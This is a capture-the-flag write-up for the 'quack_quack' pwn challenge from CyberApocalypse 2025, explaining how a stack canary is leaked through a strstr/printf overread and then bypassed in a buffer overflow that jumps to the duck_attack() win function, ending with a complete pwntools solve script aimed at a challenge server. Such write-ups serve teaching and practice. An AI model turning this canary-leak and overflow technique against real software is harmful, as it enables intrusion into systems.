4 minutes
🇬🇧 CyberApocalypse 2025 - pwn/quack_quack
Table of contents
Note
Writeup for the first pwn
challenge from CyberApocalypse 2025.
Description
On the quest to reclaim the Dragon's Heart, the wicked Lord Malakar has cursed the villagers, turning them into ducks!
Join Sir Alaric in finding a way to defeat them without causing harm. Quack Quack, it's time to face the Duck!
File information
We’re given the binary and the libc it uses
checksec quack_quack; file quack_quack
[*] '/home/conflict/ctfs/cyberapocalypse2025/pwn/quack_quack/quack_quack'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
SHSTK: Enabled
IBT: Enabled
Stripped: No
quack_quack: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, BuildID[sha1]=225daf82164eadc6e19bee1cd1965754eefed6aa, for GNU/Linux 3.2.0, not stripped
Running the program prompts us to “Quack the duck” and it seems to exit no matter what we enter as input, forcing us to examine the decompilation.
Reversing the binary
This is the duckling()
function (which is essentially the main function). Right away, we understand why the program was exiting: our first input has to contain “Quack Quack " (the space at the end is important) for the program to continue.
We see that after the first input there is a second input, which will read 106 bytes into an unknown buffer. We’ll determine its size later.
Essentially, the program returns after the second input, which suggests that we need to disrupt its execution flow through one of the two inputs.
Identifying vulnerabilities
Since the program has no PIE but has stack canaries, we understand that the first step is going to be leaking the canaries to achieve a successful buffer overflow.
The first vulnerability lies in this piece of code:
Here, strstr()
will return a pointer to the first occurrence of “Quack Quack " inside the buffer. Then, printf()
will display all text characters (due to the %s
) from that offset and 32 bytes after.
This can be leveraged to leak data from the stack, because if we fill the input buffer with dummy data, then put “Quack Quack " at the end, it will read beyond the buffer and leak stack data.
To confirm this, we can test it while debugging the program:
Here we can see that the end of our input ends up 32 bytes before RBP, which is perfect because the program should leak us 32 bytes, and that will contain the canary (its value is the one above RBP, here it is 0xd779...
)
Let’s check that it works:
Indeed, we did get some leaks from the stack. Though we can’t verify that it’s the canary because the characters are not printable, it should be correct.
Now for the second vulnerability, we can assume it’s a buffer overflow in the second input. Let’s investigate and try to determine after how many characters the program crashes.
The following line indicates the buffer is 0x60 bytes long, but since there are stack canaries, it will only be 0x58 bytes.
This confirms that we have a buffer overflow because the read()
will be reading 106 bytes of input into an 88-byte buffer.
Let’s confirm this by simply sending a large input:
Indeed, we overflowed the buffer, but that triggered the stack smashing detection.
Finally, we need to know where to jump in the program. Since this is a CTF challenge, it has a “win” function called duck_attack()
:
So we’ll jump to the address of this function, which is static because PIE isn’t enabled.
Exploit Plan (TLDR)
- Fill the first input buffer so it leaks values from the stack
- Parse the output to extract the value of the stack canary
- Craft a payload that will overwrite RIP with
duck_attack()
’s address, without triggering the stack smashing detector
Solve Script
#!/usr/bin/python3
from pwn import *
context.update(arch='x86_64')
context.binary = elf = exe = ELF("./quack_quack")
libc = elf.libc
def start():
if args.REMOTE:
r = remote("94.237.57.171", 51170)
else:
r = process("./quack_quack")
gdb.attach(r)
return r
io = start()
# =============================================================================
# =-=-=- Un jour je serai le meilleur pwner -=-=-=
first_payload = b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQuack Quack "
io.sendlineafter(b">", first_payload)
leak = io.recvuntil(b",")
adresses = leak.split(b"Quack Quack ")[1].split(b",")[0]
canary_bytes = adresses[:7]
canary = canary_bytes.rjust(8, b'\x00')
canary = u64(canary)
log.success("canary value = " + hex(canary))
second_payload = b"A"*88 + p64(canary) + b"B"*8 + p64(elf.sym["duck_attack"])
io.sendlineafter(b">", second_payload)
# =============================================================================
io.interactive()
Conclusion
This was a fun challenge even though it was a standard stack canary bypass. It’s always good to review acquired knowledge.